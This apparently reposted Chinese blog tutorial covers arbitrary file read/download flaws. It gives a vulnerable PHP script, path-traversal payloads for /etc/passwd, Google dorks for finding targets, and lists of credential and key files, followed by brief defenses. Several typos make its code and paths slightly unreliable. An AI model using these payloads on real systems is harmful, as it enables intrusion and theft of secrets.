任意文件读取下载漏洞

任意文件读取下载漏洞

漏洞原理

  • 一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字,将存在任意文件下载漏洞。

<?php
    $filename = $_GET['filename'];
    echo '<h1>讲开始下载文件!</h1><br /><br />';
    echo file_get_contents($filename);

    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));

?>

利用方式

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

漏洞发现

inurl:”readfile.php?file=”
inurl:”read.php?filename=”
inurl:”download.php?file=”
inurl:”down.php?file=”

可以用Google hacking或Web漏洞扫描器。从链接上看,形如:

readfile.php?file=*.txt
download.php?file=*.rar

从参数名看,形如:

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF

敏感信息

Windows:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

防御

  • 过滤.(点),使用户在url中不能回溯上级目录
  • 正则严格判断用户输入参数的格式
  • php.ini配置open_basedir限定文件访问范围

猜你喜欢

转载自blog.csdn.net/u011215939/article/details/78839546